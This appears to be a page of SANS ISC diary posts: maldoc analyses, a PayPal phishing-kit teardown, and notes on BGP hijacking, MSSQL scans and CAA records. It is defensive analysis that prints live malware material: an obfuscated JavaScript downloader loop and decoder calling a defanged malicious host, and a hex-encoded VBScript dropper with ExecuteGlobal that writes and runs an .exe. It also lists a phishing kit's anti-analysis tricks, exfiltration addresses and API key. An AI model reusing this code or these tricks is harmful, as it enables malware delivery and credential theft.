KNOW before NO
A good friend told me that an engaged information security professional is one who leads with the KNOW instead of the NO. This comment struck me and has resonated well for the last several years. It has encouraged me to better understand the desires of the business areas in an attempt to avoid the perception of being the "no police”.
We are each able to recognize the value in sprinkling in the information security concepts early and often into software development projects. This approach saves each of the stakeholders a great deal of time and frustration. Especially when compared to the very opposite approach that often causes the information security team to learn at the very last minute of a new high profile project that is about to launch without the proper level of information security engagement.
There are certainly projects and initiatives that may very well still warrant a “no” from an information security perspective. Before we go there by default, I respectfully invite us all to KNOW before we NO. I truly believe that each of us can all improve the level of engagement with our respective business areas by considering this approach. In what areas can you KNOW before you NO next week?
Please leave what works in our comments section below.
Russell Eubanks
Another Day, Another Obfuscation Technique
viper Order-complete.docx > info +----------+----------------------------------------------------------------------------------------------------------------------------------+ | Key | Value | +----------+----------------------------------------------------------------------------------------------------------------------------------+ | Name | Order-complete.docx | | Tags | whiteknight | | Path | /home/nonroot/.viper/binaries/2/9/d/c/29dcb52fc33dd94a4e2eb866ad3e86ec60f3414372dbd557308d6c59b7131ae3 | | Size | 17034 | | Type | Microsoft Word 2007+ | | Mime | application/vnd.openxmlformats-officedocument.wordprocessingml.document | | MD5 | 64b342c80a7f9e7ec1c85f1f0059feb3 | | SHA1 | 5e0b0c0ed682139588f61f37eaf789003590b66a | | SHA256 | 29dcb52fc33dd94a4e2eb866ad3e86ec60f3414372dbd557308d6c59b7131ae3 | | SHA512 | ae709954da0b03a85323e180961a393820a4289a52e1ae752f499a58947863df86cbb9f66a6a7fe5478f9b64278f055f10bc6ba1871df28f882f71d756cbae48 | | SSdeep | 384:TyD28Wf7rR+4pMyFvt3nr+Jjgozm3BTmDU:FpzrgeRrqXgMU | | CRC32 | 58486E87 | | Parent | | | Children | 25545563f98f99ee0274c2698eefbfec91e176d2165f755ca7ef455b3d468016, | +----------+----------------------------------------------------------------------------------------------------------------------------------+ viper Order-complete.docx > virustotal -v [+] VirusTotal Report for 64b342c80a7f9e7ec1c85f1f0059feb3: [*] Detecting engines: +----------------+----------------------------------+ | Antivirus | Signature | +----------------+----------------------------------+ | Cyren | JS/Agent.XL!Eldorado | | F-Prot | JS/Agent.XL!Eldorado | | Fortinet | JS/Agent.16C27!tr | | NANO-Antivirus | Trojan.Script.Heuristic-js.iacgm | | Qihoo-360 | virus.js.qexvmc.1065 | +----------------+----------------------------------+ [*] 5 out of 59 antivirus detected 64b342c80a7f9e7ec1c85f1f0059feb3 as malicious. [*] https://www.virustotal.com/file/29dcb52fc33dd94a4e2eb866ad3e86ec60f3414372dbd557308d6c59b7131ae3/analysis/1493301470/
This is usually a good signal for a deeper analyse. We see more and more new types of Microsoft office documents. They are slightly moving from the classic macro that starts automatically:
Sub Auto_Open() Msgbox "Welcome to SANS ISC!" End Sub
to techniques that entice the users to perform an action by stirring up his/her curiosity or by using some social engineering tricks. This is also a good protection against automatic analysis in a sandbox because the document will be opened but the dangerous action not performed.
When you click on the OLE link, you will trigger the execution of a malicious Javascript payload.
viper Order-complete.docx > office -s [*] Document Structure - [Content_Types].xml - _rels/.rels - word/_rels/document.xml.rels - word/document.xml - word/media/image1.emf - word/embeddings/oleObject1.bin - word/theme/theme1.xml - word/settings.xml - word/webSettings.xml - docProps/core.xml - word/styles.xml - word/fontTable.xml - docProps/app.xml
The Javascript is located in word/embeddings/oleObject1.bin. Once extracted and stored in "%APPDATA%\Local\Temp\Order complete.js", it is executed and download a malicious PE file. Let's have a look at some particularities of the code.
First fact: The Javascript is trying to download some content from a website and remains in the main loop until it is successful: (Note: the code has been beautified for easy reading)
var loop = 0;
while(true){
loop++;
try {
c.open(deobfus('----uFuwwu',1), deobfus('----q&FuFuF_;cU:U:quqwFqUtFFq2FuqwFUF;q&q:FFqUFUq2qtF;q:qtUtq;q:qLU:qjqtqqq:UtF_q&F_',1)+'?ff' + loop,
false);
c.send();
} catch(e) {
WScript.Sleep(1000);
continue;
}
var data = c.responseText.indexOf('|||');
if( data == -1 ){
WScript.Sleep(1000);
continue;
}
if(c.Status == 200) break;
}
It tries to access the following URL:
hxxp://dev.watershowbranson.com/info.php?ffX
'x' being incremented by the loop.
When you try to access manually this URL, you get a different content depending on 'x':
$ curl hxxp://dev.watershowbranson.com/info.php?ff1 7,1,2,1,7,7,4,7,6,9,5,5,2|||1d6a11774069571211747695ffff7121b57476957121774709571217747695712177476957121774769571217747695...(removed) $ curl hxxp://dev.watershowbranson.com/info.php?ff2 7,2,4,0,2,8,4,8,0,1,8,2,3|||1d7a30284101872406848018ffff7240b08480187240284841872402848018724028480187240284801872402848018...(removed) $ curl hxxp://dev.watershowbranson.com/info.php?ff3 9,2,0,7,4,7,6,4,1,1,6,4,2|||3d7a97476711692078764116ffff9207b27641169207476451692074764116920747641169207476411692074764116...(removed)
Note the '|||' which seems to be a separator.
Second fact: All the strings used in the Javascript code are obfuscated. They are processed by those two functions: (Note: the code has been beautified)
function dabbeeeccdcdfda(dfddaabebca) {
var dafeeedcfed = dfddaabebca.toString();
var daddbdbfeed = '';
for (var ebcebafed = 0; ebcebafed < dafeeedcfed.length; ebcebafed += 2)
daddbdbfeed += String.fromCharCode(parseInt(dafeeedcfed.substr(ebcebafed, 2), 16));
return daddbdbfeed;
}
function deobfus(s,key){
var fcddcdfcfcfc = "$d.JkT0_gOQ7F:%(*Z,-fCIximY^DLva+WB@4u8&Et!r12URM6q9jKVyAczPn3;HX)pbNhSGsloe5w";
var buffer = "";
var l = fcddcdfcfcfc.length-1;
var size = acbfdddda.length;
for(var abcafefaddd = 0; abcafefaddd<size ; abcafefaddd++){
var bdccddcfcfdec = fcddcdfcfcfc.indexOf(acbfdddda.charAt(abcafefaddd));
var cfbbadafdfabf = bdccddcfcfdec - key;
if (cfbbadafdfabf<0) {
cfbbadafdfabf = l - Math.abs(cfbbadafdfabf);
var caefccffcbfabf = l - 1;
if (cfbbadafdfabf==caefccffcbfabf) cfbbadafdfabf = cfbbadafdfabf + key;
}
buffer = buffer + fcddcdfcfcfc.charAt(cfbbadafdfabf);
}
return dabbeeeccdcdfda(buffer);
}
Example:
var foo = deobfus('----q&FuFuF_;cU:U:quqwFqUtFFq2FuqwFUF;q&q:FFqUFUq2qtF;q:qtUtq;q:qLU:qjqtqqq:UtF_q&F_',1)
WScript.echo(foo);
Will return:
hxxp://dev.watershowbranson.com/info.php
Data returned by the HTTP request use another obfuscation technique. Data are passed to another function with the key being the array of integers (example as seen above: 7,1,2,1,7,7,4,7,6,9,5,5,2). The result is a classic PE file dumped on disk (%HOME%\Desktop\cab4.exe) and executed. The malicious file is a classic trojan.
viper cab4.exe > virustotal -v [+] VirusTotal Report for 5dc3d99293fe7b70a9796cf04492b954: [*] Detecting engines: +-------------------+--------------------------------------------+ | Antivirus | Signature | +-------------------+--------------------------------------------+ | Baidu | Win32.Trojan.WisdomEyes.16070401.9500.9999 | | CrowdStrike | malicious_confidence_100% (D) | | Cyren | W32/Spora.E.gen!Eldorado | | Endgame | malicious (high confidence) | | F-Prot | W32/Spora.E.gen!Eldorado | | Fortinet | W32/GenKryptik.ADNX!tr | | Invincea | virus.win32.sality.at | | McAfee | Ransomware-FMFE!5DC3D99293FE | | McAfee-GW-Edition | BehavesLike.Win32.Backdoor.fc | | Qihoo-360 | HEUR/QVM19.1.C414.Malware.Gen | | SentinelOne | static engine - malicious | | Sophos | Mal/Elenoocka-E | | Symantec | ML.Attribute.HighConfidence | +-------------------+--------------------------------------------+ [*] 13 out of 61 antivirus detected 5dc3d99293fe7b70a9796cf04492b954 as malicious. [*] https://www.virustotal.com/file/13e7a1f1291b0ddf1587d86b94989e0d8ff4884e3f2354810130a7865d0d431c/analysis/1493313215/
In this example, we have multiple payloads downloaded with their associated key (no direct PE file), we don't see XOR encryption or Base64 encoding. Nothing suspicious, just plain text!
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
0 Comments
BGP Hijacking: The Internet is Still/Again Broken
The Internet is a network of networks. Each "Autonomous system" (AS) connects to the internet using a router that "speaks" the Border Gateway Protocol (BGP) to disseminate and receive routing information. The problem is that there is no authoritative way to figure out who is supposed to receive which IP address space (no, "whois" information is not authoritative). If I got a new IP address range assigned, or if I agree to route it as part of an agreement with another network, then I will use BGP to advertise this to the Internet. Sadly, nobody has figured out yet how to validate these advertisements. There are many proposals, but none of which has the necessary traction right now.
As a result, it is somewhat common for BGP abused to advertise IP addresses that an organization doesn't actually own. This can lead to a denial of service, or miscreants can start using it for a man-in-the-middle attack. BGPMon, a company that monitors BGP traffic for anomalies, just yesterday discovered how part of a netblock assigned to VISA was re-routed to Rosetelecom, a large Russian telecom provider. This may not be entirely the fault of Rosetelecom. Any of its customers could have sent the announcement. Of course, Rosetelecom should have noticed this as well.
So in short, what can you do about it?
1 - The internet is an untrusted network. Deal with it. Assume people are rerouting, eavesdropping and manipulating your traffic. Technologies like TLS will help you detect these issues if properly implemented. VPNs can help to secure trusted connections within an organization or between trusted partners. But this is exactly why you have to audit these configurations and make sure they are configured based on current best practices.
2 - Monitor if someone is trying to hijack IP address space you are using. Tools like BPGMon are useful to do so if you don't want to set up your own monitoring infrastructure, which is quite costly.
3 - If you do own IP address space, and if you do manage BGP yourself, then make sure you implement the few security features that are available. BPGMon has a nice blog post about some of the options [2]
[1] https://bgpstream.com/event/80327
[2] https://bgpmon.net/securing-bgp-routing-with-rpki-and-roas/
---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
STI|Twitter|
1 Comments
If there are some unexploited MSSQL Servers With Weak Passwords Left: They got you now (again)
Setting up a Microsoft SQL server with a stupid simple password like "sa" for the "sa" user is hard. First of all, Microsoft implemented a default password policy that you need to disable. And then, when you finally Googled your way through how to disable it and turned it off with the next password reset, then it will take only minutes for your brand new shiny SQL Server to get compromised. Today, we received a number of reports of a sudden increase in these scans against %%port:1433%% . As far as I can tell from honeypot data, the attacks are nothing special or new, just more of them.
A little bit odd is the distribution in TTLs. I am still trying to see if this is just an artifact in how I collected the data. Since MSSQL typically runs on Windows, I would expect the scans to originate from Windows systems that got compromised by this bot/worm. But instead, the majority of TTLs are just short of 255. So not even the Unix "standard" 64.
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|
3 Comments
CAA Records and Certificate Issuance
[This is a guest diary submitted by J. Edward Durrett, GCUX]
While going over an SSL report from SSL Labs [1], I noticed something that I had not seen before: a check for CAA records. Certification Authority Authorization (CAA) is a DNS record which restricts which Certificate Authority can issue a certificate for a given domain [2]. Let's say I get all my Certificates for example.org from Certificate_authority.com. I can specify in my DNS that only Certificates issued by Certificate_authority.com are valid for my domain. This is done with a CAA record, which looks like this in my domain’s zone le:
example.org. CAA 0 issue "certificate_authority.com"
CAA support is going to become a mandatory standard in Certificate issuance in September 2017 [2]. That means, in the process of Certificate issuance, it will be mandatory that the the Certificate Authority check for the existence of CAA records for the domains they are issuing Certificates to [3] [4]. Consequently, if you don’t have a properly formatted CAA record for your domain, you might not get a Certificate.
Although it remains to be seen how Certificate Authorities implement this standard, failure to have a CAA record for a domain, or having an improperly formatted CAA record, may cause automated Certificate management to fail unexpectedly. This, of course would leave sites with expired/missing Certificates.
For sites running their own DNS, adding a CAA record to the zone is all that is needed. Current versions of BIND, for example, support CAA records so this can be done now. Procedures and scripts for setting up new domains need to be updated to reflect the additional step of adding CAA record before attempting to obtain a Certificate. In addition, in the event of changing Certificate Authorities, the CAA record would also need to be updated to reflect the new issuer.
For organizations that rely on third party DNS providers, the case is different. From a quick search of support pages, I only found a couple that support CAA records [5] [7]. That will probably change as September gets closer, but having a backup plan is never a bad idea.
The best reference document for I found CAA is RFC 6844 DNS Certi cation Authority Authorization (CAA) Resource Record [3]. The example I have above will work for most sites. The structure of a CAA is like this:
<FQDN> CAA <flags> <property> <value>
There are some things to note. It is possible for a domain to have more than one CAA record:
example.org. CAA 0 issue "letsencrypt.org" example.org. CAA 0 issue "comodo.com"
This would allow a Certificate to be issued from letsencrypt.org or comodo.com. This is useful in cases where the Certificate for the smtp server is issued by letsencrypt.org and the web server uses one from comodo.com.
There are three properties which can be specified issue, issuewild, or iodef [3]. issue means a Certificate Authority is allowed to issue a Certificate for the domain. To completely bar Certificates being issued for a domain, this configuration is possible:
example.org. CAA 0 issue ";"
To only allow wild card Certificates, ones that would match *.example.org, to be issued, the issuewild property is used:
example.org. CAA 0 issuewild "certificate_authority.com"
For reporting, the iodef property can be specified. This tells the Certificate authority to send a report to either an email or an http/https service [3]:
example.org. CAA 0 issue "certificate_authority.com" example.org. CAA 0 iodef "mailto:security@example.org" example.org. CAA 0 iodef "https://iodef.example.org/"
In the above example, Certificate_authority.com can issue a Certificate for example.org and then Certificate_authority.com is directed to send an IODEF incident report to security@example.org and to the web service at https://iodef.example.org.
In all of the configuration examples above the flag is set as 0. Setting the flag to 128 instructs the Certificate Authority that the property is critical [3]. That is, the Certificate Authority must understand the property before issuing a Certificate.
Each Certificate Authority has some latitude to determine additional information, such as the type of Certificate or an account number, that can be specified in CAA records [3]. So it is important to check the documentation with the relevant issuer and to keep abreast of changes during implementation. And, as with everything, always test these configurations before putting them into production.
The go-to tool on Linux for checking DNS records is dig. However, dig does not yet support CAA records with the -t flag, so to check a domain type257 needs to be specified [5]:
$dig google.com type257
;; QUESTION SECTION: ;google.com.
IN TYPE257
;; ANSWER SECTION: google.com. 0005697373756573796D616E7465632E636F6D google.com. 86399 IN 00056973737565706B692E676F6F67
$drill google.com CAA
;; QUESTION SECTION:
;; google.com. IN CAA
;; ANSWER SECTION: google.com. 86400 IN CAA google.com. 86400 IN CAA
0 issue "pki.goog" 0 issue "symantec.com"
86399
IN
TYPE257 \# 19 TYPE257 \# 15
By piping the encoded output through xxd, we can see the property and issuer the record specifies:
$echo "00056973737565706B692E676F6F67" | xxd -r -p issuepki.goog
The drill utility, found on FreeBSD, does support querying CAA records:
There is also a program written in Go called dnscaa which can be found on GitHub [6].
I searched through several domains looking for CAA records. This was not an exhaustive or scientific search, just a handful of domains. Outside of Certificate Authorities like Comodo and Symantec, Google was the only domain I found with CAA records. Considering that Let’s Encrypt alone has issued Certificates for close to 35 Million domains [8], there is likely a significant portion of administrators who have not published CAA records. As issuers reach out to their customers, I would expect to see more records published in the coming months.
The addition of CAA records to DNS and the critical role they will play in Certificate issuance makes an already key part of infrastructure even more valuable. Both the suppression and spofing of records being sent to the Certificate Authorities could result in an attacker obtaining an unauthorized Certificate or causing a denial of service condition [3]. Communicating with Certificate Authorities certainly would justify a method of signing and validating DNS records. Luckily, there already is such a method – DNSSEC.
Interestingly, this may ( finally!) encourage the wide spread adoption of DNSSEC. Although RFC 6844, says in section 4.1 the use of DNSSEC “is strongly RECOMMENDED but not required”, it goes on to say in section 6.4 “Where possible, issuers SHOULD perform DNSSEC validation to detect missing or modified CAA record sets.” [3]. If deploying DNSSEC is something that you have been putting o for the last 20 years, this might be a good time to revisit.
In conclusion, the CAA record type is relatively new to DNS yet with up to date infrastructure in place it is fairly easy to implement. The lack of CAA support by third party DNS providers might prove challenging for some organizations. As issuers roll out their policies for CAA validation, the impact of RFC 6844 will become clearer. There is plenty of time between now and September to test and adopt procedures for dealing with CAA and its role in Certificate issuance.
J. Edward Durrett, GCUX
[1] https://www.ssllabs.com/ssltest/index.html
[2] https://blog.qualys.com/ssllabs/2017/03/13/caa-mandated-by-cabrowser-forum [3] https://tools.ietf.org/html/rfc6844
[4] https://cabforum.org/pipermail/public/2017-March/009988.html
[5] https://support.dnsimple.com/articles/caa-record/
[6] https://github.com/weppos/dnscaa
[7] https://cloud.google.com/dns/overview#supported_dns_record_types
[8] https://letsencrypt.org/stats/
5 Comments
Analysis of the Shadow Z118 PayPal phishing site
"[This is a guest post submitted by Remco Verhoef. Got something interesting to share? Please use our contact form to suggest your topic]
Today I got lucky walking around within a phishing site and found some left-over deployment files, containing the complete source code of the site. This gives a unique insight into the inner workings and complexity of the site. I've analyzed many phishing site source codes before, but this one is definitely more sophisticated than usual.
The site has been called Scam Paypal v1.10 by the author Shadow Z118.
I'll walk you through the source code and my findings. The source code consists of 127 files, 6MB in size, with date ranges from the September 2016 till now. The author is definitely using the Agile development process here.
The `.htaccess` file contains several measures against (automated) analysis for known anti-phishing tools:
- it will rewrite to the actual phishing page
- deny rules for ip ranges and domains for e.g. google.com, paypal.com, firefox.com, apple.com
- an environment variable called "stealthed"
- rewrite conditions on referer (Google, Paypal and Firefox)
- rewrite on user agent
- rewrites to paypal.com when coming from specific IPs
- set the environment variable "bad_bot" for specific user-agents
- deny from all kind of av vendors
- disable Indexes (which wasn't applied to root, yay!)
There is also a duplicate of this file, called "htaccess" (without the usual leading dot). I assume this is a mistake.
Phishtank had an issue last week where the kinds of redirects were causing incorrect flagging safe domains as phishing.
The `index.php` file contains several more checks for bots:
- A function "is_bitch" is used to identify various bots. Worth to mention that curl is included in the list.
- user-agent google will get a "404" response. Google will not index the site as a result.
- Google is not only identified by User-Agent, but also by the hostname the IP address resolves to.
This index will copy the code from a source/template folder to a random folder per user (/customer_center/customer-IDPP00C followed by a random number). After the copy, the user will be redirected to this new location. Not completely sure why this hasn't been done with rewrites.
The `robots.txt` contains disallow all rules for folders to disable indexing by robots.txt respecting bots.
The source code contains quite some aversive methods against automated analyzed by a/v vendors and bots. The `bots` folder contains more scripts that will return 404s for all kind of checks.
- known ip ranges
- part of domains (including "tor-exit", "google" and "amazonaws")
- user-agents
- list of banned ips
For every request, a global hit counter will be incremented on each hit. When the counter exceeds 30 it will create a deny record for that specific remote address, user-agent and hostname.
Track all user-agents and ip addresses for bots, depending on a list of words. This will create a database with all user-agents and ip addresses for specific a/v vendors.
An `HTTP/1.0 404 Not Found` will be returned, sometimes accompanied by the friendly message `HELLOOOOO BITCHES | I FUCKING LOVE YOU HAHAHAHAHAHAHA <3 | TRY BYPASS ME NEXT TIME BB <3.`. Note the HTTP/1.0 it will return, even when the request has been made with HTTP/1.1
All emails will be sent to both `yacineh1604@mail.ru` and `tartor88@gmail.com`, accompanied by the text `PUT UR FUCKING E-MAIL BRO`. There is also a reference to `chrome10.0.1@yandex.com`, which is somewhat obfuscated that will receive a copy of each email. It looks like that the maker of the software want to keep track of things without the phishers knowledge. Within the code I find references to `Mr-YcN Z.1.1.8` and `SHADOW Z.1.1.8`.
Code contains the following api calls, for checking credit cards and country detections and uses the micro services of api.bincodes.com and ip-api.com and includes an api_key as well.
* https://api.bincodes.com/creditcard-checker.php?api_key=2d974e94811161f1dda14bbf63aa9790&cc
There is a file which will detect the browser specific os and browser family using the user-agent.
A file containing language entries. Currently, only English is supported.
The lib folder contains all scripts and css files.
The actual phishing flow is as follows:
* first the user will have to sign in, using her email and password
* next the user will be asked to verify the account, by entering card number, card type, c_valid, expiry dates, csc, name on card, fullname, address, zipcode, city, state, country
* then it will check if the credit card type is visa, mastercard or maestro and if you are from France, Spain or Norway the next step will be skipped
* you're being asked to upload your identity photos, with allowed extensions (gif, jpeg, jpg and png)
* social security number details, day of birth, and country-specific social security numbers
* a success page containing a summary of all entered data, redirecting you to PayPal after 5 second
Each step the user will go through will result in sending an email to the noted addresses. This email will contain all entered information and is distinguishable by different subjects and different senders.
* "NEW BB XD ? LOGIN INFO FROM : ".$_SESSION['_forlogin_']." ? ".$_POST['login_email']." ?"
* "".$_SESSION['_cardholder_']." ? FULLZ : ".$_SESSION['_ccglobal_']." ? ".$_SESSION['_global_']." ? ".$_SESSION['_login_email_']." ?"
* "".$_SESSION['_cardholder_']." ? VBV FULLZ : ".$_SESSION['_ccglobal_']." ? ".$_SESSION['_global_']." ? ".$_SESSION['_login_email_']." ?"
* "".$_SESSION['_cardholder_']." ? NEW ID CARD - ENJOY BTC ? ".$_SESSION['_global_']." ?"
Some other interesting parts;
* some of the comments are in french
* the html contains a randomiziation routine for class names
* all userdata will be saved in php sessions for persistence between the steps
* the forms contain validation
* emails will be send only when there has been entered useful data, eg password, creditcard number
* all pages contain anti bots measures
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|
2 Comments
Malicious Documents: A Bit Of News
This week I saw again a PDF containing a malicious Word document with macros (a downloader).
The PDF contains JavaScript to extract the malicious Word document and launch Word. The user is prompted before this action takes place, but if you want to mitigate this, you can disable JavaScript. If you use Adobe Reader version 15.009.20069 or later, then the extracted Word document is marked with a mark-of-web, regardless if the containing PDF document is marked as such.
I made a video of the analysis of this document.
%%cve:2017-0199%%
There has been a lot of talk about RTF documents exploiting CVE-2017-0199, making Word download and execute an HTML application without requiring any user interaction (except taking the document out of Protected View, depending on the presence of a mark-of-web). And this without VBA macros (RTF does not support VBA macros).
After applying Microsoft's patch for CVE-2017-0199, a downloaded HTA is no longer executed, but it is still downloaded without user interaction. The attention that the RTF auto-update technique received (employed for delivering a CVE-2017-0199 exploit), will certainly stimulate the use of this technique for other purposes, like tracking.
Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
2 Comments
WTF tcp port 81
I don't know what of our tools you, our readers, use on a regular basis, but one of the things, I like to look at first when I login to isc.sans.edu is the Top 10 Ports by Unique Sources chart. This suggests coordinated (think botnets) scanning. So, I was really shocked to see %%port:81%% had jumped up to 2nd position just behind all the Mirai-ish %%port:23%% scanning. Take a look at the %%port:81%% chart. If any of our readers have any insight into what is going on here since 16 Apr, plase let us know.
---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu
I'll be teaching FOR610 in June, Sept, and Oct. See my schedule here: https://www.sans.org/instructors/jim-clausing
6 Comments
Analysis of a Maldoc with Multiple Layers of Obfuscation
Thanks to our readers, we get often interesting samples to analyze. This time, Frederick sent us a malicious Microsoft Word document called "Invoice_6083.doc" (which was delivered in a zip archive). I had a quick look at it and it was interesting enough for a quick diary.
viper Invoice_6083.doc > info +----------+---------------------------------------------------------------------------------------+ | Key | Value | +----------+---------------------------------------------------------------------------------------+ | Name | Invoice_6083.doc | | Tags | isc | | Path | /home/nonroot/.viper/binaries/d/6/8/7/d687ee9fe3b034dcd1e53fb37e2b26bc60e74ff505808b5 | | | 77f2c633d5549e422 | | Size | 626688 | | Type | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code | | | page: 1252, Author: VICTOR PC, Template: Normal.dotm, Last Saved By: VICTOR PC, | | | Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total | | | Editing Time: 05:00, Create Time/Date: Tue Apr 18 08:09:00 2017, Last Saved | | | Time/Date: Tue Apr 18 08:14:00 2017, Number of Pages: 1, Number of Words: 7, Number | | | of Characters: 43, Security: 0 | | Mime | application/msword | | MD5 | bc922d7335a58ae4269bfd652d62f03e | | SHA1 | 78fd6485af533d13e5b7fe08eebb0b5ce009d6b7 | | SHA256 | d687ee9fe3b034dcd1e53fb37e2b26bc60e74ff505808b577f2c633d5549e422 | | SHA512 | a02f0803bd87c66bef0aadd0778608fa8f143356ca6df8cfe4efb6afbaed8d75c7df197631a306dfb8e17 | | | b603b7ebe4cb752a6c44babd9d2227859424f5290e8 | | SSdeep | 1536:bk0TSDRRGDHdxZhGK/DRJQHiQfAyrt7cKUXGV8IW9Z8Kqj0fJY+384dZLJ4Iv:p2DG | | CRC32 | 0E8A06BD | | Parent | | | Children | | +----------+---------------------------------------------------------------------------------------+
The document contains only 1 page and 7 words. This is even more suspicious. It was already submitted to VT and got a decent score:
viper Invoice_6083.doc > virustotal -v [+] VirusTotal Report for bc922d7335a58ae4269bfd652d62f03e: [*] Detecting engines: +----------------------+------------------------------+ | Antivirus | Signature | +----------------------+------------------------------+ | Ad-Aware | Trojan.GenericKD.4881915 | | AegisLab | Troj.Ole2.Agent!c | | Arcabit | Trojan.Generic.D4A7DFB | | Avast | VBS:Agent-BRE [Trj] | | BitDefender | Trojan.GenericKD.4881915 | | Cyren | Trojan.OGWQ-7 | | ESET-NOD32 | VBS/Kryptik.FI | | Emsisoft | Trojan.GenericKD.4881915 (B) | | F-Secure | Trojan.GenericKD.4881915 | | Fortinet | VBS/Kryptik.GA!tr | | GData | Trojan.GenericKD.4881915 | | Kaspersky | HEUR:Trojan.OLE2.Agent.gen | | McAfee | W97M/Downloader | | McAfee-GW-Edition | W97M/Downloader | | MicroWorld-eScan | Trojan.GenericKD.4881915 | | NANO-Antivirus | Trojan.Script.NJRat.dzzenc | | Qihoo-360 | virus.vbs.qexvmc.1 | | Symantec | Trojan.Mdropper | | TrendMicro | TROJ_DROPPER.XXTWD | | TrendMicro-HouseCall | TROJ_DROPPER.XXTWD | | ZoneAlarm | HEUR:Trojan.OLE2.Agent.gen | +----------------------+------------------------------+ [*] 21 out of 56 antivirus detected bc922d7335a58ae4269bfd652d62f03e as malicious. [*] https://www.virustotal.com/file/d687ee9fe3b034dcd1e53fb37e2b26bc60e74ff505808b577f2c633d5549e422/analysis/1492633739/
A first behaviour is interesting: The document does not ask the user to enable macro if not enabled and the macro does not execute by itself (autorun). The potential victim is enticed to click on a button to perform a better rendering of the blurred document:
A "shell object" is attached to the button "Preview clearly":
The OLE object is listed in the following screenshot as "ObjectPool-_1554011838-Ole10Native”:
viper Invoice_6083.doc > office -s [*] OLE Structure: +----+---------------------------+-------+----------------------------+----------------------------+ | # | Object | Macro | Creation | Modified | +----+---------------------------+-------+----------------------------+----------------------------+ | 1 | Root | | | 2017-04-18 08:14:21.062000 | | 2 | CompObj | | | | | 3 | DocumentSummaryInformatio | | | | | | n | | | | | 4 | SummaryInformation | | | | | 5 | 1Table | | | | | 6 | Data | | | | | 7 | ObjectPool | | 2017-04-18 08:14:20.865000 | 2017-04-18 08:14:21.062000 | | 8 | ObjectPool/_1554011838 | | 2017-04-18 08:14:20.865000 | 2017-04-18 08:14:20.867000 | | 9 | ObjectPool/_1554011838/Co | | | | | | mpObj | | | | | 10 | ObjectPool/_1554011838/Ol | | | | | | e10Native | | | | | 11 | ObjectPool/_1554011838/Ob | | | | | | jInfo | | | | | 12 | WordDocument | | | | +----+---------------------------+-------+----------------------------+----------------------------+
This OLE object contains a VB script with the first level of obfuscation: (note: the code has been fixed for better visibility)
gdtyaqiopndghdliosndgaqponvc = gdtyaqiopndghdliosndgaqponvc & dghdggaqiojdndgmnxlosjodpkdd("646174613D223839354332343138333343333333343432333334343234343033333434323434343234313438426438633165383032633165333165306264383862333438424538303343304331454431")
gdtyaqiopndghdliosndgaqponvc = gdtyaqiopndghdliosndgaqponvc & dghdggaqiojdndgmnxlosjodpkdd("4630424538384234343234313438393643323434303842453843314530303543314544343143303336433234333830334335384235434834643561393030303033303030303030303430303030303066666666303030306238303030303030303030303030303034303030303030303030303030303030303030303030303030")
gdtyaqiopndghdliosndgaqponvc = gdtyaqiopndghdliosndgaqponvc & dghdggaqiojdndgmnxlosjodpkdd("3030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030463030303030303030453146424130453030423430394344323142383031344343443231353436383639373332303730373236663637373236313664323036333631366536653666373432303632363532")
gdtyaqiopndghdliosndgaqponvc = gdtyaqiopndghdliosndgaqponvc & dghdggaqiojdndgmnxlosjodpkdd("3037323735364532303639364532303434344635333230364436463634363532453044304430413234303030303030303030303030303063636364373866653838616331366164383861633136616438384143313641443831443439354144383941433136414434424133344241443841414331364144384441303139414438")
gdtyaqiopndghdliosndgaqponvc = gdtyaqiopndghdliosndgaqponvc & dghdggaqiojdndgmnxlosjodpkdd("3941433136414433443332463341443842414331364144383841433136414438636163313661643831643438336164383961633136616438386163313761646337616331366164383164343835616439396163313661643364333266376164663361633136616433643332633861643839414331364144353236393633363838")
gdtyaqiopndghdliosndgaqponvc = gdtyaqiopndghdliosndgaqponvc & dghdggaqiojdndgmnxlosjodpkdd("3841433136414430303030303030303030303030303030353034353030303034433031303430303835303836433537303030303030303030303030303030304530303030333031304230313043303030303338303130303030413230383030303030303030303064653339303130303030313030303030303035303031303030")
gdtyaqiopndghdliosndgaqponvc = gdtyaqiopndghdliosndgaqponvc & dghdggaqiojdndgmnxlosjodpkdd("3030303430303030303130303030303030303230303030303530303031303030303030303030303035303030313030303030303030303030303230304130303030303430303030303030303030303030323030303038303030303031303030303031303030303030303030313030303030313030303030303030303030303031”)
...(stuff delete)...
gdtyaqiopndghdliosndgaqponvc = gdtyaqiopndghdliosndgaqponvc & dghdggaqiojdndgmnxlosjodpkdd("696E2E686578223A7069632E6E6F6465547970656456616C7565203D207374723A74656D70203D207069632E6E6F6465547970656456616C75653A77697468204372656174654F626A656374282241444F44422E53747265616D22293A2E74797065203D20313A2E6F70656E3A2E77726974652074656D703A2E73617665546F")
gdtyaqiopndghdliosndgaqponvc = gdtyaqiopndghdliosndgaqponvc & dghdggaqiojdndgmnxlosjodpkdd("46696C6520664E616D652C20323A2E636C6F73653A656E6420776974683A656E64207375623A736574207773203D204372656174654F626A6563742822575363726970742E5368656C6C22293A666E203D2077732E457870616E64456E7669726F6E6D656E74537472696E677328222574656D70252229202620225C746D702E")
gdtyaqiopndghdliosndgaqponvc = gdtyaqiopndghdliosndgaqponvc & dghdggaqiojdndgmnxlosjodpkdd("657865223A7361766546696C6520666E2C646174613A77732E52756E20666E3A777363726970742E736C65657020313030")
ExecuteGlobal gdtyaqiopndghdliosndgaqponvc
Function dghdggaqiojdndgmnxlosjodpkdd(gdtyaqiopndghdliosndgaqponvc)
For y = 1 To Len(gdtyaqiopndghdliosndgaqponvc) Step 2
ml = ml & CHRW(Clng("&H" & Mid(gdtyaqiopndghdliosndgaqponvc, y, 2)))
Next
dghdggaqiojdndgmnxlosjodpkdd = ml
End Function
The function ‘dghdggaqiojdndgmnxlosjodpkdd’ parses the string by a pair of characters and convert the hex values. Everything is appended into a long string passed to ExecuteGlobal(). The result contains a new VB script with the second layer of obfuscation: (again, the code has been beautified)
